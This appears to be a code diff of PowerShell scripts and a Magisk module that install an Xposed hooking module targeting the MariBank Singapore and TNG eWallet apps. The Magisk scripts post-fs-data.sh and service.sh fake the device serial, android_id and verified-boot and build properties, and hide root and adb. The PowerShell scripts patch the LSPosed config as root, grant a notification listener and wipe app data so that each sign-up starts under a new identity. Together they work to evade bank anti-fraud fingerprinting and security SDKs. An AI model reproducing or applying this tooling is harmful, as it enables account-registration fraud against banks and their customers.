@@ -0,0 +1,72 @@
|
||||
$ErrorActionPreference = "Stop"
|
||||
$ProjectRoot = Split-Path -Parent $PSScriptRoot
|
||||
Set-Location $ProjectRoot
|
||||
|
||||
$sdk = "C:\Users\Administrator\AppData\Local\Android\Sdk"
|
||||
$adb = Join-Path $sdk "platform-tools\adb.exe"
|
||||
if (-not (Test-Path $adb)) {
|
||||
Write-Host "adb not found: $adb" -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
|
||||
Write-Host "=== Step 1/5 Build ===" -ForegroundColor Cyan
|
||||
& "$ProjectRoot\scripts\build-debug.ps1"
|
||||
if ($LASTEXITCODE -ne 0) { exit $LASTEXITCODE }
|
||||
|
||||
$appApk = Join-Path $ProjectRoot "app\build\outputs\apk\debug\app-debug.apk"
|
||||
$xposedApk = Join-Path $ProjectRoot "xposed-module\build\outputs\apk\debug\xposed-module-debug.apk"
|
||||
|
||||
Write-Host "`n=== Step 2/5 Device ===" -ForegroundColor Cyan
|
||||
& $adb devices
|
||||
$device = (& $adb devices | Select-String "device$" | Select-Object -First 1)
|
||||
if (-not $device) {
|
||||
Write-Host "No authorized adb device" -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
|
||||
Write-Host "`n=== Step 3/5 Install APKs ===" -ForegroundColor Cyan
|
||||
& $adb shell settings put global verifier_verify_adb_installs 0 2>$null
|
||||
& $adb install -r -t -g $appApk
|
||||
if ($LASTEXITCODE -ne 0) {
|
||||
& $adb install -r -t -g --bypass-low-target-sdk-block $appApk
|
||||
}
|
||||
if ($LASTEXITCODE -ne 0) { exit $LASTEXITCODE }
|
||||
& $adb install -r -t -g $xposedApk
|
||||
if ($LASTEXITCODE -ne 0) {
|
||||
& $adb install -r -t -g --bypass-low-target-sdk-block $xposedApk
|
||||
}
|
||||
if ($LASTEXITCODE -ne 0) { exit $LASTEXITCODE }
|
||||
|
||||
Write-Host "`n=== Step 4/5 LSPosed scope ===" -ForegroundColor Cyan
|
||||
$apkPath = (& $adb shell pm path com.miraclegarden.smsmessage.xposed 2>$null) -replace '^package:', ''
|
||||
$apkPath = $apkPath.Trim()
|
||||
if (-not $apkPath) {
|
||||
Write-Host "Failed to get xposed module path" -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
Write-Host "xposed apk: $apkPath"
|
||||
|
||||
& $adb shell "su -c 'cp /data/adb/lspd/config/modules_config.db /sdcard/Download/modules_config.db; cp /data/adb/lspd/config/modules_config.db-wal /sdcard/Download/modules_config.db-wal 2>/dev/null; cp /data/adb/lspd/config/modules_config.db-shm /sdcard/Download/modules_config.db-shm 2>/dev/null; chmod 644 /sdcard/Download/modules_config.db*'"
|
||||
$db = Join-Path $env:TEMP "modules_config_full.db"
|
||||
$prevEap = $ErrorActionPreference
|
||||
$ErrorActionPreference = "Continue"
|
||||
& $adb pull /sdcard/Download/modules_config.db $db 2>&1 | Out-Null
|
||||
& $adb pull /sdcard/Download/modules_config.db-wal "$db-wal" 2>&1 | Out-Null
|
||||
& $adb pull /sdcard/Download/modules_config.db-shm "$db-shm" 2>&1 | Out-Null
|
||||
$ErrorActionPreference = $prevEap
|
||||
python "$ProjectRoot\scripts\configure-lsposed.py" $db $apkPath
|
||||
& $adb push $db /sdcard/Download/modules_config.db | Out-Null
|
||||
& $adb shell "su -c 'cp /sdcard/Download/modules_config.db /data/adb/lspd/config/modules_config.db; rm -f /data/adb/lspd/config/modules_config.db-wal /data/adb/lspd/config/modules_config.db-shm; chmod 660 /data/adb/lspd/config/modules_config.db'"
|
||||
|
||||
Write-Host "`n=== Step 5/5 System tweaks ===" -ForegroundColor Cyan
|
||||
& $adb reverse tcp:8765 tcp:8765 2>$null
|
||||
& $adb shell "su -c 'dumpsys deviceidle whitelist +com.miraclegarden.smsmessage'" 2>$null
|
||||
& $adb shell "cmd notification allow_listener com.miraclegarden.smsmessage/com.miraclegarden.smsmessage.service.NotificationService" 2>$null
|
||||
& $adb shell "am force-stop org.telegram.messenger.web"
|
||||
& $adb shell "am force-stop com.miraclegarden.smsmessage"
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "Full install done." -ForegroundColor Green
|
||||
Write-Host "Installed: app + xposed module"
|
||||
Write-Host "Configured: LSPosed scope, adb reverse, battery whitelist, notification listener"
|
||||
Write-Host "Next: open notiMessage -> start monitoring -> reopen Telegram"
|
||||
35
scripts/install-tng-xapk.ps1
Normal file
35
scripts/install-tng-xapk.ps1
Normal file
@@ -0,0 +1,35 @@
|
||||
# 解压 XAPK 并通过 adb install-multiple 安装 TNG
|
||||
param(
|
||||
[Parameter(Mandatory = $true)]
|
||||
[string]$XapkPath
|
||||
)
|
||||
$ErrorActionPreference = "Stop"
|
||||
$adb = "C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
|
||||
if (-not (Test-Path $XapkPath)) {
|
||||
Write-Host "文件不存在: $XapkPath" -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
|
||||
$extractDir = Join-Path ([IO.Path]::GetDirectoryName($XapkPath)) "tng_xapk_extracted"
|
||||
if (Test-Path $extractDir) { Remove-Item $extractDir -Recurse -Force }
|
||||
New-Item -ItemType Directory -Path $extractDir | Out-Null
|
||||
|
||||
Add-Type -AssemblyName System.IO.Compression.FileSystem
|
||||
[System.IO.Compression.ZipFile]::ExtractToDirectory((Resolve-Path $XapkPath), $extractDir)
|
||||
|
||||
$apks = Get-ChildItem $extractDir -Filter "*.apk" -Recurse | Sort-Object Name
|
||||
if ($apks.Count -eq 0) {
|
||||
Write-Host "XAPK 内未找到 apk 文件" -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
|
||||
Write-Host "找到 $($apks.Count) 个 APK,开始安装..." -ForegroundColor Cyan
|
||||
$apkArgs = @("install-multiple", "-r") + ($apks | ForEach-Object { $_.FullName })
|
||||
& $adb @apkArgs
|
||||
if ($LASTEXITCODE -eq 0) {
|
||||
Write-Host "TNG 安装成功" -ForegroundColor Green
|
||||
& $adb shell monkey -p my.com.tngdigital.ewallet -c android.intent.category.LAUNCHER 1
|
||||
} else {
|
||||
Write-Host "安装失败,exit=$LASTEXITCODE" -ForegroundColor Red
|
||||
}
|
||||
87
scripts/launch-maribank-sg.ps1
Normal file
87
scripts/launch-maribank-sg.ps1
Normal file
@@ -0,0 +1,87 @@
|
||||
# Launch MariBank Singapore (not PH SeaBank)
|
||||
param(
|
||||
[switch]$ClearData,
|
||||
[switch]$StopPh,
|
||||
[switch]$ColdStart,
|
||||
[int]$WaitSeconds = 0
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
$PkgSg = "sg.com.maribankmobile.digitalbank"
|
||||
$PkgPh = "ph.seabank.seabank"
|
||||
$Activity = "com.shopee.bke.digitalbank.ui.MainActivity"
|
||||
|
||||
function Resolve-AdbPath {
|
||||
$candidates = @(
|
||||
(Join-Path $env:LOCALAPPDATA "Android\Sdk\platform-tools\adb.exe"),
|
||||
"C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
)
|
||||
foreach ($path in $candidates) {
|
||||
if (Test-Path $path) { return $path }
|
||||
}
|
||||
$cmd = Get-Command adb -ErrorAction SilentlyContinue
|
||||
if ($cmd) { return $cmd.Source }
|
||||
return $null
|
||||
}
|
||||
|
||||
$adb = Resolve-AdbPath
|
||||
if (-not $adb) {
|
||||
Write-Host "adb not found." -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
|
||||
$devices = & $adb devices 2>&1 | Where-Object { $_ -match "\tdevice$" }
|
||||
if (-not $devices) {
|
||||
Write-Host "No authorized adb device." -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
|
||||
Write-Host "=== Launch MariBank SINGAPORE ===" -ForegroundColor Cyan
|
||||
Write-Host "Package: $PkgSg (v3.2.2)"
|
||||
Write-Host ""
|
||||
Write-Host "[Required] After Xposed module update: LSPosed -> scope SG pkg -> re-optimize / force-stop / launch" -ForegroundColor Yellow
|
||||
Write-Host " Without soft reboot, old hooks may cause BLANK-PAGE white screen." -ForegroundColor Yellow
|
||||
Write-Host ""
|
||||
Write-Host "Package: sg.com.maribankmobile.digitalbank (NOT ph.seabank.seabank)" -ForegroundColor Yellow
|
||||
Write-Host ""
|
||||
|
||||
if ($StopPh) {
|
||||
& $adb shell am force-stop $PkgPh | Out-Null
|
||||
}
|
||||
|
||||
if ($ClearData) {
|
||||
Write-Host "Clearing SG app data..."
|
||||
& $adb shell pm clear $PkgSg | Out-Null
|
||||
}
|
||||
|
||||
if ($ColdStart) {
|
||||
Write-Host "Cold start: force-stop SG (first screen may stay white 30-60s)" -ForegroundColor Cyan
|
||||
& $adb shell am force-stop $PkgSg | Out-Null
|
||||
Start-Sleep -Seconds 2
|
||||
} else {
|
||||
Write-Host "Warm start (recommended). Use -ColdStart for cold start." -ForegroundColor Cyan
|
||||
}
|
||||
|
||||
& $adb shell am start -n "$PkgSg/$Activity"
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "MariBank SG launched." -ForegroundColor Green
|
||||
Write-Host "RN may show BLANK-PAGE for ~25-45s before welcome screen."
|
||||
Write-Host "If white screen > 1 min: LSPosed soft reboot SG, then retry -ColdStart"
|
||||
Write-Host "Verify API: adb logcat -d | Select-String api.maribank.com.sg"
|
||||
|
||||
if ($WaitSeconds -gt 0) {
|
||||
Write-Host ""
|
||||
Write-Host "Waiting ${WaitSeconds}s for UI..." -ForegroundColor Cyan
|
||||
Start-Sleep -Seconds $WaitSeconds
|
||||
& $adb shell uiautomator dump /sdcard/ui_launch_check.xml 2>&1 | Out-Null
|
||||
$prevEap = $ErrorActionPreference
|
||||
$ErrorActionPreference = "Continue"
|
||||
& $adb pull /sdcard/ui_launch_check.xml "$env:TEMP\ui_launch_check.xml" 2>&1 | Out-Null
|
||||
$ErrorActionPreference = $prevEap
|
||||
if (Test-Path "$env:TEMP\ui_launch_check.xml") {
|
||||
$xml = Get-Content "$env:TEMP\ui_launch_check.xml" -Raw
|
||||
$blank = $xml -match "BLANK-PAGE"
|
||||
Write-Host ("BLANK-PAGE=" + $blank)
|
||||
}
|
||||
}
|
||||
15
scripts/logcat-maribank.ps1
Normal file
15
scripts/logcat-maribank.ps1
Normal file
@@ -0,0 +1,15 @@
|
||||
# Capture MariBank SG hook logs (clears buffer first if -Clear switch passed)
|
||||
param([switch]$Clear)
|
||||
$adb = "C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
if (-not (Test-Path $adb)) {
|
||||
Write-Host "adb not found: $adb" -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
if ($Clear) {
|
||||
& $adb logcat -c
|
||||
Write-Host "Logcat cleared. Now click Next in MariBank, then run without -Clear:" -ForegroundColor Yellow
|
||||
Write-Host " .\scripts\logcat-maribank.ps1"
|
||||
exit 0
|
||||
}
|
||||
& $adb logcat -d 2>&1 | Select-String -Pattern "MariBankRoot|MariBankNative|MariBankDfp|MariBankEncrypt|MariBankCapture" |
|
||||
Select-String -Pattern "HTTP|outbound|register|dfp/v1|dfp is empty|3100012|4067|faked|finish adb|blocked|ErrorFlow|RegisterViewModel|skip error|late app|late native|assessRisk|risk callback"
|
||||
14
scripts/logcat-tng.ps1
Normal file
14
scripts/logcat-tng.ps1
Normal file
@@ -0,0 +1,14 @@
|
||||
# Capture TNG eWallet hook logs (clears buffer first if -Clear switch passed)
|
||||
param([switch]$Clear)
|
||||
$adb = "C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
if (-not (Test-Path $adb)) {
|
||||
$adb = "adb"
|
||||
}
|
||||
if ($Clear) {
|
||||
& $adb logcat -c
|
||||
Write-Host "Logcat cleared. Launch TNG eWallet, then run without -Clear:" -ForegroundColor Yellow
|
||||
Write-Host " .\scripts\logcat-tng.ps1"
|
||||
exit 0
|
||||
}
|
||||
& $adb logcat -d 2>&1 | Select-String -Pattern "notiMessageHook/TngRoot|LSPosed-Bridge.*TngRoot|LSPosed-Bridge.*notiMessageHook|support.tngdigital|SecurityError|xwwqazamx|UserLogin|blocked intent|blocked Promon" |
|
||||
Select-Object -Last 80
|
||||
6
scripts/magisk/maribank-device-spoof/module.prop
Normal file
6
scripts/magisk/maribank-device-spoof/module.prop
Normal file
@@ -0,0 +1,6 @@
|
||||
id=maribank_device_spoof
|
||||
name=MariBank Device Spoof
|
||||
version=v1.0
|
||||
versionCode=1
|
||||
author=miraclegarden
|
||||
description=Spoof serial/boot/build props for MariBank SHPSSDK fingerprint. Pair with Shamiko + DenyList for sg.com.maribankmobile.digitalbank. Generates a stable fake serial and android_id on first boot.
|
||||
50
scripts/magisk/maribank-device-spoof/post-fs-data.sh
Normal file
50
scripts/magisk/maribank-device-spoof/post-fs-data.sh
Normal file
@@ -0,0 +1,50 @@
|
||||
#!/system/bin/sh
|
||||
# Early boot: spoof read-only props before most apps start.
|
||||
# resetprop is provided by Magisk.
|
||||
|
||||
MODDIR=${0%/*}
|
||||
LOGTAG="maribank_device_spoof"
|
||||
|
||||
log() {
|
||||
echo "[$LOGTAG] $*" >> /cache/maribank_device_spoof.log 2>/dev/null
|
||||
echo "[$LOGTAG] $*"
|
||||
}
|
||||
|
||||
if [ ! -f "$MODDIR/serial.txt" ]; then
|
||||
# 16-char alphanumeric serial, stable across reboots
|
||||
SERIAL=$(cat /proc/sys/kernel/random/uuid 2>/dev/null | tr -d '-' | cut -c1-16)
|
||||
[ -z "$SERIAL" ] && SERIAL="MB$(date +%s | tail -c 9)"
|
||||
echo "$SERIAL" > "$MODDIR/serial.txt"
|
||||
fi
|
||||
SERIAL=$(cat "$MODDIR/serial.txt")
|
||||
|
||||
log "serial=$SERIAL"
|
||||
|
||||
# --- device identity (SHPSSDK / attestation often reads these) ---
|
||||
resetprop -n ro.serialno "$SERIAL"
|
||||
resetprop -n ro.boot.serialno "$SERIAL"
|
||||
resetprop -n ro.boot.serialno "$SERIAL"
|
||||
resetprop -n persist.sys.serialno "$SERIAL"
|
||||
|
||||
# --- hide root / debug fingerprint ---
|
||||
resetprop -n ro.debuggable 0
|
||||
resetprop -n ro.secure 1
|
||||
resetprop -n ro.adb.secure 1
|
||||
resetprop -n ro.build.type user
|
||||
resetprop -n ro.build.tags release-keys
|
||||
resetprop -n ro.boot.verifiedbootstate green
|
||||
resetprop -n ro.boot.flash.locked 1
|
||||
resetprop -n ro.boot.vbmeta.device_state locked
|
||||
resetprop -n vendor.boot.vbmeta.device_state locked
|
||||
resetprop -n ro.boot.veritymode enforcing
|
||||
resetprop -n ro.boot.warranty_bit 0
|
||||
resetprop -n ro.crypto.state encrypted
|
||||
|
||||
# --- adb off (match Java-layer bypass) ---
|
||||
resetprop -n init.svc.adbd stopped
|
||||
resetprop -n init.svc.adb stopped
|
||||
resetprop -n service.adb.root 0
|
||||
resetprop -n persist.sys.adb_enable 0
|
||||
resetprop -n persist.adb.wifi.enabled 0
|
||||
|
||||
log "post-fs-data done"
|
||||
37
scripts/magisk/maribank-device-spoof/service.sh
Normal file
37
scripts/magisk/maribank-device-spoof/service.sh
Normal file
@@ -0,0 +1,37 @@
|
||||
#!/system/bin/sh
|
||||
# After boot: rotate Settings.Secure.android_id once (global, affects all apps).
|
||||
|
||||
MODDIR=${0%/*}
|
||||
LOGTAG="maribank_device_spoof"
|
||||
|
||||
log() {
|
||||
echo "[$LOGTAG] $*" >> /cache/maribank_device_spoof.log 2>/dev/null
|
||||
}
|
||||
|
||||
# Wait for SettingsProvider
|
||||
i=0
|
||||
while [ "$(getprop sys.boot_completed)" != "1" ] && [ "$i" -lt 120 ]; do
|
||||
sleep 1
|
||||
i=$((i + 1))
|
||||
done
|
||||
sleep 3
|
||||
|
||||
if [ ! -f "$MODDIR/android_id.txt" ]; then
|
||||
# 16 hex chars (standard ANDROID_ID format)
|
||||
AID=$(cat /proc/sys/kernel/random/uuid 2>/dev/null | tr -d '-' | cut -c1-16)
|
||||
[ -z "$AID" ] && AID="$(date +%s | md5sum 2>/dev/null | cut -c1-16)"
|
||||
echo "$AID" > "$MODDIR/android_id.txt"
|
||||
fi
|
||||
AID=$(cat "$MODDIR/android_id.txt")
|
||||
|
||||
settings put secure android_id "$AID" 2>/dev/null
|
||||
log "android_id=$AID"
|
||||
|
||||
# Clear MariBank cache so SHPSSDK re-collects with new props (optional, user can disable)
|
||||
PKG="sg.com.maribankmobile.digitalbank"
|
||||
if [ -f "$MODDIR/clear_maribank_on_boot" ]; then
|
||||
pm clear "$PKG" 2>/dev/null
|
||||
log "pm clear $PKG"
|
||||
fi
|
||||
|
||||
log "service.sh done"
|
||||
75
scripts/maribank-scheme-b-finish.ps1
Normal file
75
scripts/maribank-scheme-b-finish.ps1
Normal file
@@ -0,0 +1,75 @@
|
||||
# Finish scheme B after reboot: LSPosed scope + verify spoof + clear MariBank
|
||||
param([switch]$Reboot)
|
||||
$ErrorActionPreference = "Stop"
|
||||
$ProjectRoot = Split-Path -Parent $PSScriptRoot
|
||||
$adb = "C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
$Pkg = "sg.com.maribankmobile.digitalbank"
|
||||
$WaitSeconds = 60
|
||||
|
||||
Write-Host "Checking adb ($WaitSeconds s timeout)..." -ForegroundColor Cyan
|
||||
$deadline = (Get-Date).AddSeconds($WaitSeconds)
|
||||
$ready = $false
|
||||
while ((Get-Date) -lt $deadline) {
|
||||
$lines = & $adb devices 2>&1
|
||||
if ($lines -match "1C081FDF600K5Q\s+device") {
|
||||
$ready = $true
|
||||
break
|
||||
}
|
||||
if ($lines -match "\tunauthorized") {
|
||||
Write-Host "Device connected but UNAUTHORIZED — unlock phone and tap Allow USB debugging." -ForegroundColor Red
|
||||
}
|
||||
Start-Sleep -Seconds 2
|
||||
}
|
||||
if (-not $ready) {
|
||||
Write-Host @"
|
||||
|
||||
No adb device found after ${WaitSeconds}s.
|
||||
|
||||
On Pixel 6:
|
||||
1. USB cable connected (data port, not charge-only)
|
||||
2. Settings -> Developer options -> USB debugging ON
|
||||
3. USB mode: File transfer / PTP
|
||||
4. Unlock screen -> tap Allow on RSA prompt
|
||||
5. Re-run: .\scripts\maribank-scheme-b-finish.ps1
|
||||
|
||||
If USB debugging was turned off earlier, you must enable it on the phone first.
|
||||
|
||||
"@ -ForegroundColor Yellow
|
||||
exit 1
|
||||
}
|
||||
Start-Sleep -Seconds 2
|
||||
|
||||
Write-Host "`n=== Modules ===" -ForegroundColor Cyan
|
||||
& $adb shell su -c "ls /data/adb/modules/"
|
||||
& $adb shell su -c "magisk --denylist status"
|
||||
|
||||
Write-Host "`n=== Identity ===" -ForegroundColor Cyan
|
||||
& $adb shell su -c "getprop ro.serialno; getprop ro.boot.serialno; settings get secure android_id"
|
||||
& $adb shell su -c "cat /data/adb/modules/maribank_device_spoof/serial.txt 2>/dev/null; cat /data/adb/modules/maribank_device_spoof/android_id.txt 2>/dev/null"
|
||||
|
||||
Write-Host "`n=== LSPosed scope (MariBank SG) ===" -ForegroundColor Cyan
|
||||
$apkPath = (& $adb shell pm path com.miraclegarden.smsmessage.xposed 2>$null) -replace '^package:', ''
|
||||
$apkPath = $apkPath.Trim()
|
||||
if (-not $apkPath) {
|
||||
Write-Host "Xposed module not installed" -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
& $adb shell su -c "cp /data/adb/lspd/config/modules_config.db /sdcard/Download/modules_config.db; chmod 644 /sdcard/Download/modules_config.db"
|
||||
$db = Join-Path $env:TEMP "modules_config_finish.db"
|
||||
& $adb pull /sdcard/Download/modules_config.db $db | Out-Null
|
||||
python "$ProjectRoot\scripts\configure-lsposed.py" $db $apkPath
|
||||
& $adb push $db /sdcard/Download/modules_config.db | Out-Null
|
||||
& $adb shell su -c "cp /sdcard/Download/modules_config.db /data/adb/lspd/config/modules_config.db; rm -f /data/adb/lspd/config/modules_config.db-wal /data/adb/lspd/config/modules_config.db-shm; chmod 660 /data/adb/lspd/config/modules_config.db"
|
||||
|
||||
Write-Host "`n=== Disable USB debug + clear MariBank ===" -ForegroundColor Cyan
|
||||
& $adb shell su -c "settings put global adb_enabled 0; settings put global development_settings_enabled 0"
|
||||
& $adb shell su -c "pm clear $Pkg"
|
||||
|
||||
Write-Host "`n=== Done ===" -ForegroundColor Green
|
||||
Write-Host "Open MariBank -> Sign up -> enter phone -> Next"
|
||||
Write-Host "Log: adb logcat -d | Select-String 'MariBankEncrypt|MariBankAttest|3100012|deviceFingerprint'"
|
||||
|
||||
if ($Reboot) {
|
||||
Write-Host "Rebooting..." -ForegroundColor Yellow
|
||||
& $adb reboot
|
||||
}
|
||||
58
scripts/maribank-sg-all-in.ps1
Normal file
58
scripts/maribank-sg-all-in.ps1
Normal file
@@ -0,0 +1,58 @@
|
||||
# MariBank SG 一键:编译 → 安装模块 → 换 ID → 清数据 → 启动 SG
|
||||
# 用法:
|
||||
# .\scripts\maribank-sg-all-in.ps1
|
||||
# .\scripts\maribank-sg-all-in.ps1 -DisableUsbDebug # 测前关 USB 调试(会断 adb)
|
||||
# .\scripts\maribank-sg-all-in.ps1 -SkipBuild # 仅换 ID + 启动
|
||||
param(
|
||||
[switch]$SkipBuild,
|
||||
[switch]$DisableUsbDebug,
|
||||
[switch]$KeepAdb,
|
||||
[switch]$ColdStart
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
$ProjectRoot = Split-Path -Parent $PSScriptRoot
|
||||
|
||||
Write-Host "=== MariBank SG All-In ===" -ForegroundColor Cyan
|
||||
|
||||
if (-not $SkipBuild) {
|
||||
Write-Host "`n[1/5] Build debug APKs..." -ForegroundColor Cyan
|
||||
& "$ProjectRoot\scripts\build-debug.ps1"
|
||||
if ($LASTEXITCODE -ne 0) { exit $LASTEXITCODE }
|
||||
|
||||
Write-Host "`n[2/5] Install APKs..." -ForegroundColor Cyan
|
||||
& "$ProjectRoot\scripts\install-debug.ps1"
|
||||
if ($LASTEXITCODE -ne 0) { exit $LASTEXITCODE }
|
||||
} else {
|
||||
Write-Host "`n[1-2/5] Skip build/install (-SkipBuild)" -ForegroundColor Yellow
|
||||
}
|
||||
|
||||
Write-Host "`n[3/5] New device identity + clear MariBank SG..." -ForegroundColor Cyan
|
||||
& "$ProjectRoot\scripts\maribank-spoof-device.ps1" -NewIdentity -ClearMariBank
|
||||
if ($LASTEXITCODE -ne 0) { exit $LASTEXITCODE }
|
||||
|
||||
Write-Host "`n[4/5] LSPosed 必做(PC 无法代劳)" -ForegroundColor Yellow
|
||||
Write-Host " 1. LSPosed -> 模块 -> notiMessage 启用"
|
||||
Write-Host " 2. 作用域勾选: sg.com.maribankmobile.digitalbank"
|
||||
Write-Host " 3. 对该包: 重新优化 -> 强行停止 -> 启动(等价软重启)"
|
||||
Write-Host " 4. Shamiko DenyList 含 SG 全部进程,Enforce=OFF"
|
||||
Write-Host ""
|
||||
Read-Host "完成 LSPosed 软重启后按 Enter 继续" | Out-Null
|
||||
|
||||
$launchArgs = @("-StopPh")
|
||||
if ($ColdStart) { $launchArgs += "-ColdStart" }
|
||||
|
||||
Write-Host "`n[5/5] Launch MariBank SG..." -ForegroundColor Cyan
|
||||
& "$ProjectRoot\scripts\launch-maribank-sg.ps1" @launchArgs
|
||||
if ($LASTEXITCODE -ne 0) { exit $LASTEXITCODE }
|
||||
|
||||
if ($DisableUsbDebug -and -not $KeepAdb) {
|
||||
Write-Host "`n=== Disable USB debugging (SG stricter) ===" -ForegroundColor Cyan
|
||||
& "$ProjectRoot\scripts\maribank-sg-register.ps1" -DisableUsbDebug
|
||||
} else {
|
||||
Write-Host "`n=== Ready to test ===" -ForegroundColor Green
|
||||
Write-Host "Phone: Sign up -> +65 -> Next"
|
||||
Write-Host "Log: .\scripts\maribank-sg-register.ps1 -CaptureLog -KeepAdb"
|
||||
Write-Host " .\scripts\logcat-maribank.ps1"
|
||||
Write-Host "Strict test (no adb): .\scripts\maribank-sg-all-in.ps1 -SkipBuild -DisableUsbDebug"
|
||||
}
|
||||
153
scripts/maribank-sg-register.ps1
Normal file
153
scripts/maribank-sg-register.ps1
Normal file
@@ -0,0 +1,153 @@
|
||||
# MariBank SG register test — new identity, optional log capture
|
||||
param(
|
||||
[switch]$NewIdentity,
|
||||
[switch]$CaptureLog,
|
||||
[switch]$DumpLog,
|
||||
[switch]$InstallModule,
|
||||
[switch]$DisableUsbDebug,
|
||||
[switch]$KeepAdb,
|
||||
[switch]$All
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
$ProjectRoot = Split-Path -Parent $PSScriptRoot
|
||||
$Pkg = "sg.com.maribankmobile.digitalbank"
|
||||
|
||||
function Resolve-AdbPath {
|
||||
$candidates = @(
|
||||
(Join-Path $env:LOCALAPPDATA "Android\Sdk\platform-tools\adb.exe"),
|
||||
"C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
)
|
||||
foreach ($path in $candidates) {
|
||||
if (Test-Path $path) { return $path }
|
||||
}
|
||||
$cmd = Get-Command adb -ErrorAction SilentlyContinue
|
||||
if ($cmd) { return $cmd.Source }
|
||||
return $null
|
||||
}
|
||||
|
||||
$adb = Resolve-AdbPath
|
||||
if (-not $adb) {
|
||||
Write-Host "adb not found. Install Android SDK platform-tools or add adb to PATH." -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
|
||||
function Get-AdbDevicesText {
|
||||
& $adb devices 2>&1 | Out-String
|
||||
}
|
||||
|
||||
function Test-AdbAuthorized {
|
||||
$lines = & $adb devices 2>&1 | Where-Object { $_ -match "\tdevice$" }
|
||||
return [bool]$lines
|
||||
}
|
||||
|
||||
function Invoke-AdbShell([string]$cmd) {
|
||||
& $adb shell $cmd 2>&1
|
||||
}
|
||||
|
||||
function Show-AdbHelp {
|
||||
param([string]$DevicesText)
|
||||
Write-Host "`nadb devices output:" -ForegroundColor Yellow
|
||||
Write-Host $DevicesText
|
||||
Write-Host @"
|
||||
|
||||
常见原因与处理:
|
||||
1. 上次跑脚本已关闭 USB 调试 → 手机上一律手动重新打开:
|
||||
设置 → 开发者选项 → USB 调试(+ 无线调试若在用)
|
||||
2. 换线 / 换 USB 口,通知栏选「文件传输 / MTP」
|
||||
3. 弹「允许 USB 调试?」→ 点允许(可勾始终允许)
|
||||
4. PC 执行:adb kill-server && adb start-server && adb devices
|
||||
5. 仅抓 log 时不要关调试:.\scripts\maribank-sg-register.ps1 -CaptureLog -KeepAdb
|
||||
|
||||
"@ -ForegroundColor Cyan
|
||||
}
|
||||
|
||||
Write-Host "=== MariBank SG Register Test ===" -ForegroundColor Cyan
|
||||
Write-Host "adb: $adb"
|
||||
|
||||
if ($All) {
|
||||
$allArgs = @()
|
||||
if ($DisableUsbDebug -and -not $KeepAdb) { $allArgs += "-DisableUsbDebug" }
|
||||
if ($KeepAdb) { $allArgs += "-KeepAdb" }
|
||||
& "$ProjectRoot\scripts\maribank-sg-all-in.ps1" @allArgs
|
||||
if ($LASTEXITCODE -ne 0) { exit $LASTEXITCODE }
|
||||
if (-not $CaptureLog) { exit 0 }
|
||||
}
|
||||
|
||||
& $adb start-server 2>&1 | Out-Null
|
||||
$devicesText = Get-AdbDevicesText
|
||||
|
||||
if (-not (Test-AdbAuthorized)) {
|
||||
Write-Host "No authorized adb device." -ForegroundColor Red
|
||||
Show-AdbHelp -DevicesText $devicesText
|
||||
exit 1
|
||||
}
|
||||
|
||||
Write-Host $devicesText
|
||||
|
||||
if ($NewIdentity -or $InstallModule) {
|
||||
$spoofArgs = @()
|
||||
if ($NewIdentity) { $spoofArgs += "-NewIdentity" }
|
||||
if ($InstallModule) { $spoofArgs += "-InstallModule" }
|
||||
& "$ProjectRoot\scripts\maribank-spoof-device.ps1" @spoofArgs -ClearMariBank
|
||||
if ($LASTEXITCODE -ne 0) { exit $LASTEXITCODE }
|
||||
}
|
||||
|
||||
$shouldDisableAdb = $DisableUsbDebug -and -not $KeepAdb
|
||||
if ($shouldDisableAdb) {
|
||||
Write-Host "`n=== Disable USB / wireless debugging (SG stricter) ===" -ForegroundColor Cyan
|
||||
Write-Host "WARNING: PC adb will disconnect after this. Re-enable USB debug on phone to connect again." -ForegroundColor Yellow
|
||||
Invoke-AdbShell "settings put global adb_enabled 0" | Out-Null
|
||||
Invoke-AdbShell "settings put global development_settings_enabled 0" | Out-Null
|
||||
Invoke-AdbShell "settings put secure adb_wifi_enabled 0" | Out-Null
|
||||
Invoke-AdbShell "su -c 'resetprop init.svc.adbd stopped; resetprop persist.sys.adb_enable 0'" 2>$null | Out-Null
|
||||
} elseif (-not $KeepAdb) {
|
||||
Write-Host "`n=== Skip disabling USB debug (default) ===" -ForegroundColor Cyan
|
||||
Write-Host "Use -DisableUsbDebug when ready to test SG without PC adb; use -KeepAdb with -CaptureLog."
|
||||
}
|
||||
|
||||
if (-not $CaptureLog) {
|
||||
Write-Host "`n=== Clear SG app + verify IDs ===" -ForegroundColor Cyan
|
||||
Invoke-AdbShell "pm clear $Pkg" | Out-Null
|
||||
Invoke-AdbShell "su -c 'getprop ro.serialno; settings get secure android_id'"
|
||||
}
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "=== LSPosed: pick the correct MariBank package ===" -ForegroundColor Yellow
|
||||
Write-Host " SG: sg.com.maribankmobile.digitalbank (v3.2.2, api.maribank.com.sg)"
|
||||
Write-Host " PH: ph.seabank.seabank (v3.22.0, api.seabank.ph)"
|
||||
Write-Host " Launch SG: .\scripts\launch-maribank-sg.ps1"
|
||||
Write-Host ""
|
||||
Write-Host "Phone: LSPosed -> soft reboot $Pkg"
|
||||
Write-Host "Then: MariBank SG -> Sign up -> +65 phone -> Next"
|
||||
|
||||
